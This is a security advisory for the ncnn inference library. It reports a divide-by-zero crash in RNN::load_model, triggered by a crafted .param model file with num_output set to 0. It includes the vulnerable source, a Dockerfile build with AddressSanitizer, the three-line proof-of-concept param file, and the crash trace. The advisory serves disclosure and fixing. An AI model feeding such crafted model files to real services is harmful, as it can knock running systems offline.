RNN Model Loading Divide-By-Zero DoS
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/rnn.cpp:36 in RNN::load_model
Sanitizer verdict: FPE on unknown address 0x585f0471cdf7 (pc 0x585f0471cdf7 bp 0x7fff561865d0 sp 0x7fff56186190 T0)
Summary
A single text .param line is enough to terminate any ncnn process that loads the model.
RNN::load_param accepts num_output = 0 and RNN::load_model immediately uses it as a
divisor when deriving the per-step input size, raising SIGFPE. No weight file is required —
the proof of concept passes null as the binary argument to ncnnoptimize, so the crash is
reachable with attacker control over the parameter file alone.
Detail
The untrusted fields are parameter ids 0 (num_output), 1 (weight_data_size) and 2
(direction) of an RNN record. load_param copies all three out of the ParamDict with
no range check; the only validation present concerns int8_scale_term and build flags.
load_model then divides by two of them before touching any weight data:
// src/layer/rnn.cpp:14
int RNN::load_param(const ParamDict& pd)
{
num_output = pd.get(0, 0);
weight_data_size = pd.get(1, 0);
direction = pd.get(2, 0);
int8_scale_term = pd.get(8, 0);
if (int8_scale_term)
{
#if !NCNN_INT8
NCNN_LOGE("please build ncnn with NCNN_INT8 enabled for int8 inference");
return -1;
#endif
}
return 0;
}
int RNN::load_model(const ModelBin& mb)
{
int num_directions = direction == 2 ? 2 : 1;
int size = weight_data_size / num_directions / num_output;
// raw weight data
weight_xc_data = mb.load(size, num_output, num_directions, 0);
if (weight_xc_data.empty())
return -100;
num_directions is clamped to 1 or 2 by the ternary on line 34, but num_output is used raw
on line 36. There is no if (num_output <= 0) return -100; anywhere in the layer, and
Net::load_param performs no per-layer semantic validation either — it checks only the magic
number, layer_count, blob_count, and that each layer type resolves.
ncnnoptimize reaches this at tools/ncnnoptimize.cpp:2793, which calls
optimizer.load_model(dr) with a DataReaderFromEmpty because inbin is the literal string
null; Net::load_model invokes layer->load_model(mb) at src/net.cpp:2080. The PoC's
layer line is RNN rnn 1 1 in0 out0 0=0 1=0 2=0, so line 36 evaluates 0 / 1 / 0 — an
integer division by zero on the second /, which traps before the empty data reader is ever
consulted.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-rnn-model-loading-divide-by-zero-dos && cd ncnn-poc-rnn-model-loading-divide-by-zero-dos
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > rnn_zero.param <<'PARAM'
7767517
1 2
RNN rnn 1 1 in0 out0 0=0 1=0 2=0
PARAM
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize rnn_zero.param null out.param out.bin 0
AddressSanitizer output:
find_blob_index_by_name in0 failed
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x604b7e3d3df7 (pc 0x604b7e3d3df7 bp 0x7ffd0580a7b0 sp 0x7ffd0580a370 T0)
#0 0x604b7e3d3df7 in ncnn::RNN::load_model(ncnn::ModelBin const&) /ncnn/src/layer/rnn.cpp:36
#1 0x604b7a741a84 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2080
#2 0x604b7a655c34 in main /ncnn/tools/ncnnoptimize.cpp:2793
#3 0x7040332511c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#4 0x70403325128a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#5 0x604b7a5d5624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/src/layer/rnn.cpp:36 in ncnn::RNN::load_model(ncnn::ModelBin const&)
==1==ABORTING
Credit
Zheng Yu @ DepthFirst